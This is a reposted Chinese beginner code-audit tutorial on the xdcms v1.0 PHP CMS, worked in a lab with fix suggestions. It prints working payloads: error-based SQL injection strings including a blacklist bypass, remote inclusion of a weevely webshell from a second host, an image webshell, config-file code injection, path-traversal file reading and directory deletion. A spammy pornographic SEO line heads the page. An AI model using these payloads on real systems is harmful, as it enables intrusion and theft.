压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

代碼審計新手入門——xdcms_v1.0

前言

大家好,我是kn0sky,這次整了一個以前的小CMS進行練手,xdcms,版本: v1.0, 這個CMS雖然有點老,但是用來新手入門練手倒是挺不錯的,在這里,你可以接觸學習到多種sql語句的SQL注入漏洞,多種文件操作漏洞等等……

審計的思路是:

  1. 先大概瀏覽一下源代碼,看看代碼的邏輯大概是怎么運行的,找找關鍵的文件
  2. 然后按照功能點進行測試

環境準備:

  • windows 7 虛擬機
  • xdcms_v1.0源碼
  • PHPStudy: PHP 5.2.17 + MySQL 5.7.26 (因為這個CMS太老了,選新版本的PHP容易出問題)

廢話不多說,直接開始吧

審計開始

通讀代碼的時候注意了!不要直接拿到源碼就去讀!

我們需要先在虛擬機的phpstudy上把xdcms部署好,訪問虛擬機IP進入xdcms的安裝,安裝完之后,注意啦,這個時候把安裝完成后的源碼復制出來,用這個源碼進行審計!

因為啊,有些文件啊,是在你安裝完CMS之后才會出現的,拿安裝之前的CMS去審計,會有些東西找不到的

文件目錄如圖所示:

到此,我們可以正式開始代碼審計啦

大概瀏覽網站源代碼

通過跟讀index.php文件(這個CMS的index.php里面文件包含里又是文件包含,一層又一層),跟讀到/system/function/fun.inc.php文件,這里面開始就是網站的功能和內容了

瀏覽目錄,不難發現:網站的主要功能應該都在system目錄中了
system目錄下:

  • function目錄里裝的都是網站的功能的函數
  • libs目錄里裝的都是各種功能的類
  • module目錄里裝的也是不同頁面的功能的函數

uploadfile目錄:

  • 應該跟文件上傳有關

api目錄下:

  • index文件有個文件包含和兩個安全過濾函數

data目錄下:

  • config.inc.php文件為數據庫配置信息文件,這個文件就是安裝完成之后才生成出來的

到這里,我們來整理一下現有的信息:

- 數據庫采用GBK編碼,可能存在寬字節注入
- 網站的主要功能在system目錄下
- api目錄下的index可能存在文件包含漏洞
- 網站的功能是通過訪問index.php的GET參數m,c,f來選擇的,m是文件夾,c是文件,f是函數調用,比如后臺的m=xdcms

接下來直接開始測試吧

按功能點進行測試

按照正常用戶的使用流程先來走一遍看看,這里的注冊功能存在IP地址偽造,不過沒啥用,就跳過吧,這里的注冊頁面只有注冊,登錄兩個選擇,連個找回密碼都沒有

注冊好用戶之后,進入普通用戶的后臺看看

普通用戶會員中心存在多處SQL注入漏洞

這個頁面除了我的訂單資料管理修改密碼信息管理這四個功能之外,其他功能都用不了

那就一個一個點點看看吧

打開我心愛的小burp

點擊資料管理后,請求地址為index.php,請求參數為m=member,f=edit,我們跟著index.php去看看這兩個參數是做啥的

跟著跟著就到了/system/function/global.inc.php文件,我們來看一下相關代碼:

//接收參數
$m=safe_replace(isset($_GET["m"])) ? safe_replace($_GET["m"]) : "content";
$c=safe_replace(isset($_GET["c"])) ? safe_replace($_GET["c"]) : "index";
$f=safe_replace(isset($_GET["f"])) ? safe_replace($_GET["f"]) : "init";

include MOD_PATH.$m."/".$c.".php";   //調用類
$p=new $c();  //實例化
$p->$f();   //調用方法

大概意思就是文件包含module目錄下的member目錄,調用edit()方法

    public function edit(){
        $this->member_info(0);
        $gourl=$_GET['gourl'];
        $userid=$_COOKIE['member_userid'];
        $info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid");

        $input=base::load_class('input');
        $field=base::load_cache("cache_field_member","_field");
        $fields="";
        foreach($field as $value){
            $fields.="<tr>n";
            $fields.="<td align="right" valign="top"><span class="tdl">".$value['name'].":</span></td>";
            $fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>n";
            $fields.="</tr>n";
        }

        assign('gourl',$gourl);
        assign('member',$info);
        assign("fields",$fields);
        template("member/edit");
    }

這里的變量userid從cookie獲取值沒有經過過濾就帶入到sql的查詢語句了,還是int型的注入:

構造cookie中的member_userid為4 and 1=2,可以發現這里的用戶信息都消失了

由此可判斷驗證這里存在sql注入漏洞

也可以丟到sqlmap里跑一下,開了一堆工具,電腦太卡了我就不演示了

除了這里存在SQL注入漏洞,這個界面還有幾個地方也存在同樣的SQL注入漏洞,產生漏洞的原因都是因為沒有過濾從GET請求中獲得的member_userid的值
分別是同個功能文件下的edit_save()password_save()

到這里,會員中心已經測試完成了,繼續下一個功能

修復建議:

  • 使用intval對userid參數進行過濾

網站API存在文件包含漏洞

普通用戶能點的功能真沒幾個,看看API目錄的index.php還真會有收獲

源碼如下:

從GET請求中獲得兩個參數c和f,c是要調用類的php文件名,下面直接就用c變量帶入文件包含了

如果是調用本地php文件,直接輸入目錄加文件名即可直接調用,如果調用的文件后綴不是php:可以進行00截斷

如果php配置文件打開GPC(magic_quotes_gpc)的話,用00截斷會不成功(00截斷的條件:PHP版本小于5.3,GPC沒有開啟)

如果目標的php配置開啟了allow_url_include

那我們就能進行遠程文件包含,各種馬,安排

我圖個簡單,用weevely生成了一個,然后遠程文件包含webshell

kn0sky@audit-Lab ~/ $ weevely "http://127.0.0.1:28000/api/index.php?c=http://192.168.2.222/wee.php?" knkn0

/home/kn0sky/App/weevely3/core/sessions.py:219: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
  sessiondb = yaml.load(open(dbpath, 'r').read())

[+] weevely 3.7.0

[+] Target:    127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi
[+] Session:    /home/kn0sky/.weevely/sessions/127.0.0.1/index_0.session
[+] Shell:    System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> 
127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $ :system_info
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
[-][channel] The remote script execution triggers an error 500, check script and payload integrity
+--------------------+-----------------------------------+
| client_ip          | 192.168.77.2                      |
| max_execution_time | 300                               |
| script             | /api/index.php                    |
| open_basedir       |                                   |
| hostname           |                                   |
| php_self           | /api/index.php                    |
| script_folder      | http://192.168.2.222              |
| uname              | Windows NT K0-PC 6.1 build 7600   |
| pwd                | C:phpstudy_proWWWxdcms.comapi |
| safe_mode          | False                             |
| php_version        | 5.2.17                            |
| dir_sep            |                                  |
| os                 | Windows NT                        |
| whoami             |                                   |
| document_root      | C:/phpstudy_pro/WWW/xdcms.com     |
+--------------------+-----------------------------------+
127.0.0.1:28000:C:phpstudy_proWWWxdcms.comapi $

要是不能遠程文件包含,如果有文件上傳的地方,可以從這里本地文件包含個圖片馬去getshell

修復建議:

  • 可能的話,不要開啟allow_url_include
  • 盡量避免目錄跳轉,過濾?../

接下來,該用管理員登錄網站了

管理員后臺上傳圖片+本地文件包含組合漏洞

后臺地址:http://<IP>/index.php?m=xdcms&c=login

默認管理員賬號密碼:xdcms:xdcms

管理員后臺在系統設置,網站配置的基本信息那里,可以上傳網站logo

這里的上傳有個后端的圖片后綴名檢測:

//判斷上傳是文件還是圖片
$type=isset($_GET['type'])?(int)$_GET['type']:0;
$size=500000;
$folder='image';
$allowed=array( 'gif', 'jpg', 'jpeg', 'png' );

圖片文件名檢測:

if ( $this->make_script_safe ){
    if ( preg_match( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i"$FILE_NAME ) ){
        $FILE_TYPE                 = 'text/plain';
        $this->file_extension      = 'txt';
        $this->parsed_file_name       = preg_replace( "/.(cgi|pl|js|asp|php|html|htm|jsp|jar)(.|$)/i", "$2", $this->parsed_file_name );

        $renamed = 1;
    }
}

圖片文件類型檢測:

if ( $this->image_check ){
    $img_attributes = @getimagesize( $this->saved_upload_name );

然后還有個文件名修改

這里可以用GIF89A繞過上傳png后綴的php腳本

可能是這個cms實在太老了,源碼拿來直接運行還是出現了一些問題

上傳完圖片之后,應該是要回顯上傳的位置的,可能是出了什么問題,前端這一塊我不太懂

去看服務器上傳文件的文件夾:

文件確實上傳成功了

位置是:/uploadfile/image/20191114/201911141058530.png

這個圖片的內容是:

GIF89A
<?PHP phpinfo();?>

我們去結合剛才的本地文件包含試一試

利用成功

這里可以利用上傳圖片馬來獲取shell

修復建議:

  • 上傳的對圖片進行二次渲染或壓縮處理

管理員后臺網站信息設置處存在二次漏洞

剛看到這里的時候,這里的網站地址:http://127.0.0.5我很好奇是干嘛的,因為它現在寫的是127.0.0.5而網站的ip與這個無關,去翻翻源碼看看這玩意是干嘛的

if($tag=='config'){
    //判斷url是否以/結尾
    $urlnum=strlen($info['siteurl'])-1;
    if(substr($info['siteurl'],$urlnum,1)!="/"){
        showmsg(C("update_url_error"),"-1");
    }//end

    $cms=SYS_PATH.'xdcms.inc.php';   //生成xdcms配置文件
    $cmsurl="<?phpn define('CMS_URL','".$info['siteurl']."');n define('TP_FOLDER','".$info['template']."');n define('TP_CACHE',".$info['caching'].");n?>";
    creat_inc($cms,$cmsurl);

點擊保存后,網站獲取siteurl沒有經過過濾,就拼接到cmsurl字符串變量里去了,然后根據這個cmsurl生成配置文件

配置文件:

<?php
 define('CMS_URL','http://127.0.0.5/');
 define('TP_FOLDER','dccms');
 define('TP_CACHE',false);
?>

這里我們可以構造siteurl:

hello');?><?php phpinfo();?>

點擊保存后,我們去查看一下該配置文件:

<?php
 define('CMS_URL','hello');?><?php phpinfo();?>';
 define('TP_FOLDER','dccms');
 define('TP_CACHE',false);
?>

這里的配置文件內容生成外部參數可控,導致了可直接getshell

訪問該配置文件頁面:http://ip/system/xdcms.inc.php

修復建議:

  • 不要用這種方式直接修改配置文件

管理員后臺模板功能處存在任意文件讀取漏洞

后臺看了看好像也沒啥問題了,通過查看這個CMS相關文章得知,這個CMS有的功能有,但是不再后臺頁面里

例如/system/module/xdcms/template.php文件的edit功能

public function edit(){
    $filename=$_GET['file'];
    $file=TP_PATH.TP_FOLDER."/".$filename;
    if(!$fp=@fopen($file,'r+')){
        showmsg(C('open_template_error'),'-1');
    }
    flock($fp,LOCK_EX);
    $str=@fread($fp,filesize($file));
    flock($fp,LOCK_UN);
    fclose($fp);
    assign('filename',$filename);
    assign('content',$str);
    template('template_edit','admin');
}

構造如下url即可查看到指定文件

http://IP/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php

當然,這需要管理員身份登錄才能進行

修復建議:

  • 限制目錄跳轉

管理員后臺欄目管理存在SQL注入漏洞

果然還是直接去讀源碼比較方便

這里的源碼如下:

public function add_save(){
    $config=base::load_cache("cache_set_config","_config");
    $catname=$_POST['catname'];
    $catdir=$_POST['catdir'];
    $thumb=$_POST['thumb'];
    $is_link=intval($_POST['is_link']);
    $url=safe_replace($_POST['url']);
    $model=$_POST['model'];
    $sort=intval($_POST['sort']);
    $is_show=intval($_POST['is_show']);
    $parentid=intval($_POST['parentid']);
    $is_target=intval($_POST['is_target']);
    $is_html=intval($_POST['is_html']);
    $template_cate=$_POST['template_cate'];
    $template_list=$_POST['template_list'];
    $template_show=$_POST['template_show'];
    $seo_title=$_POST['seo_title'];
    $seo_key=$_POST['seo_key'];
    $seo_des=$_POST['seo_des'];
    $modelid=modelid($model);

    if(empty($catname)||empty($catdir)||empty($model)){
        showmsg(C('material_not_complete'),'-1');
    }

    if(!check_str($catdir,'/^[a-z0-9][a-z0-9]*$/')){
        showmsg(C('catdir').C('numbers_and_letters'),'-1');
    }

    if($is_html==1){
        if($config['createhtml']!=1){
                showmsg(C('config_html_error'),'index.php?m=xdcms&c=setting');
        }
    }

    $nums=$this->mysql->db_num("category","catdir='".$catdir."'");
    if($nums>0){
        showmsg(C('catdir_exist'),'-1');
    }

    $sql="insert into ".DB_PRE."category (catname,catdir,thumb,is_link,url,model,modelid,sort,is_show,is_target,is_html,template_cate,template_list,parentid,template_show,seo_title,seo_key,seo_des) values ('".$catname."','".$catdir."','".$thumb."','".$is_link."','".$url."','".$model."','".$modelid."','".$sort."','".$is_show."','".$is_target."','".$is_html."','".$template_cate."','".$template_list."','".$parentid."','".$template_show."','".$seo_title."','".$seo_key."','".$seo_des."')";
    $this->mysql->query($sql);
    $catid=$this->mysql->insert_id();

    if($is_link==0){//生成url
        $ob_url=base::load_class("url");
        $url=$ob_url->caturl($catid,$catdir,$is_html);
        $this->mysql->db_update("category","`url`='".$url."'","`catid`=".$catid);
    }

    $this->category_cache();
    showmsg(C('add_success'),'-1');
}

這里有一大堆參數沒有任何過濾就直接帶入sql語句進行插入了,此處可進行SQL注入

在參數中加個單引號之后提交:

報錯啦!直接報錯注入即可

構造如下payload進行報錯注入:

seo_des=haha' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) or '

修復建議:

  • 對輸入的參數進行過濾

管理員后臺內容管理處存在SQL注入漏洞


出現問題的函數依然是add_save(),先來看代碼:

public function add_save(){
    $title=safe_html($_POST['title']);
    $commend=intval($_POST['commend']);
    $username=safe_html($_POST['username']);
    $thumb=$_POST['thumb'];
    $keywords=safe_html($_POST['keywords']);
    $description=safe_html($_POST['description']);
    $inputtime=datetime();
    $updatetime=strtotime($_POST['updatetime']);
    $url=$_POST['url'];
    $catid=intval($_POST['catid']);
    $userid=$_SESSION['admin_id'];
    $fields=$_POST['fields'];
    $style=$_POST['title_color']." ".$_POST['title_weight'];

    //此處省略驗證數據存在的部分

    //添加content
    $sql="insert into ".DB_PRE."content(title,commend,username,thumb,keywords,description,inputtime,updatetime,url,catid,userid,hits,style) values('{$title}','{$commend}','{$username}','{$thumb}','{$keywords}','{$description}','{$inputtime}','{$updatetime}','{$url}','{$catid}','{$userid}',0,'{$style}')";
    $this->mysql->query($sql);
    $last_id=$this->mysql->insert_id();

依然是一堆參數從POST提交上來沒有經過任何過濾就進行了INSERT INTO操作

構造title:

AASD' or (select updatexml(1,(concat(0x7e,(select version()),0x7e)),1)) or'

即可進行報錯注入

修復建議:

  • 對輸入的參數進行過濾

管理員后臺數據庫管理頁面存在任意目錄刪除漏洞

地址為:http://ip/index.php?m=xdcms&c=data&f=delete&file=

這個功能原本是刪除備份文件夾的,但是可以通過../進行目錄跳轉來刪除任意文件夾

源碼如下:

public function delete(){
    $file=trim($_GET["file"]);
    $dir=DATA_PATH.'backup/'.$file;
    if(is_dir($dir)){
        //刪除文件夾中的文件
        if (false != ($handle = opendir ( $dir ))) {  
            while ( false !== ($file = readdir ( $handle )) ) {   
                if ($file != "." && $file != ".."&&strpos($file,".")) {  
                @unlink($dir."/".$file);    
                }  
            }  
            closedir ( $handle );  
        }  
        @rmdir($dir);//刪除目錄
    }
    showmsg(C('success'),'-1');
}

通過GET參數file獲取目錄名,然后進行判斷是否是目錄,如果是,則刪除目錄下的文件再刪除目錄,如果不是,直接返回?success

我們在網站主目錄下創建個文件夾123:

然后點擊刪除操作之后,在Burp中攔截修改:

發送后,我們再來看看網站根目錄:

剛剛創建的123目錄,沒有啦!

修復建議:

  • 禁止目錄跳轉,過濾../

管理員后臺關鍵詞管理頁面存在SQL注入漏洞

這里又是一個后臺管理頁面訪問不到的地方,通過輸入url:http://ip/index.php?m=xdcms&c=keywords&f=edit&id=1才能訪問

從這里開始,終于遇到了帶有安全過濾防御機制的漏洞

我們先來看源碼:

public function editsave(){
    $id=isset($_POST['id'])?intval($_POST['id']):0;
    $title=safe_html($_POST['title']);
    $url=safe_html($_POST['url']);
    if(empty($title)||empty($url)||empty($id)){
        showmsg(C('material_not_complete'),'-1');
    }
    $this->mysql->db_update('keywords',"`title`='".$title."',`url`='".$url."'",'`id`='.$id);
    $this->keywords_cache();
    showmsg(C('update_success'),'-1');
}

這里的title參數和url參數被safe_html過濾了,我們來看看這個過濾是怎么回事:

//安全過濾函數
function safe_html($str){
    if(empty($str)){return;}
    $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file
|outfile/','',$str);
    return htmlspecialchars($str);
}

這里進行了黑名單過濾,過濾sql注入常用關鍵字,將關鍵字替換為空,這顯然很不靠譜嘛

通過雙寫即可繞過:

Burp攔截,構造payload,發送請求:

url=http://' or (sselectelect updatexml(2,concat(0x7e,(version())),0)) or '

成功繞過安全過濾,成功注入!

修復建議:

  • 對輸入的參數進行過濾

后臺聯動菜單管理處存在SQL注入漏洞

源碼如下:

public function add_save(){
    $name=$_POST['name'];
    $parentid=isset($_POST['parentid'])?intval($_POST['parentid']):0;

    if(empty($name)){
        showmsg(C('material_not_complete'),'-1');
    }

    if($parentid!=0){
        $keyid=$this->get_parentid($parentid);
    }else{
        $keyid=0;
    }

    $sql="insert into ".DB_PRE."linkage (name,parentid,keyid) values ('".$name."','".$parentid."','".$keyid."')";
    $this->mysql->query($sql);
    showmsg(C('add_success'),'-1');
}

無過濾獲取參數name,直接帶入insert into語句中進行插入操作

構造payload如下:

name=lalala' or (select updatexml(2,concat(0x7e,(version())),0)) or '

即可報錯注入

這個CMS的SQL注入漏洞可謂是多到不行,這里頭還有大量漏洞出現原因相同的SQL注入漏洞

這里就不多啰嗦了,

練習到這里,想必對UPDATE,INSERT INTO,SELECT三種SQL語句的SQL注入有了一定掌握,接下來看點不一樣的

網站安裝頁面存在全局變量覆蓋漏洞

在網站的/install/index.php中開頭有如下代碼

foreach(Array('_GET','_POST','_COOKIE') as $_request){
    foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
}
function _runmagicquotes(&$svar){
    if(!get_magic_quotes_gpc()){
        if( is_array($svar) ){
            foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
        }else{
            $svar = addslashes($svar);
        }
    }
    return $svar;
}
if(file_exists($insLockfile)){
    exit(" 程序已運行安裝,如果你確定要重新安裝,請先從FTP中刪除 install/install_lock.txt!");
}

遍歷傳入的參數對數組進行賦值

然后傳入$insLockfile來判斷程序是否安裝

如果我們在訪問這個頁面的時候直接在GET參數中加上?insLockfile=xyz(反正是一個不存在的文件名就行)則可直接進入安裝

修復建議:

  • 通過其他方式來檢測系統是否已安裝
轉載自安全客:https://www.anquanke.com/post/id/193332

上一篇:對 Hawkeye Keylogger - Reborn v8 惡意軟件活動的深入分析

下一篇:CDecryptPwd(一)——Navicat